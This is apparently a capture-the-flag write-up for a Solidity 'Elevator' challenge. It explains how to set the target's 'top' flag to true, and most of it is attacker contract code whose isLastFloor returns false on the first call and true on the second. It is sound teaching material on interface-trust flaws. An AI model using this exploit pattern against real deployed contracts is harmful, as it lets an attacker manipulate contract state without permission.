This challenge requires us to change the value of top in the contract to true. By reading the logic of the goTo function, we are expected to implement the Building contract ourselves and ensure that the first call to isLastFloor returns false, and the second call returns true.
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
interface IElevator { function goTo(uint _floor) external; }
contract Building { IElevator public elevator; bool public switchFlipped = false; constructor(address _targetAddr) public { elevator = IElevator(_targetAddr); } function hack() public { elevator.goTo(1); } function isLastFloor(uint) public returns (bool) { // first call if (! switchFlipped) { switchFlipped = true; return false; // second call } else { switchFlipped = false; return true; } } }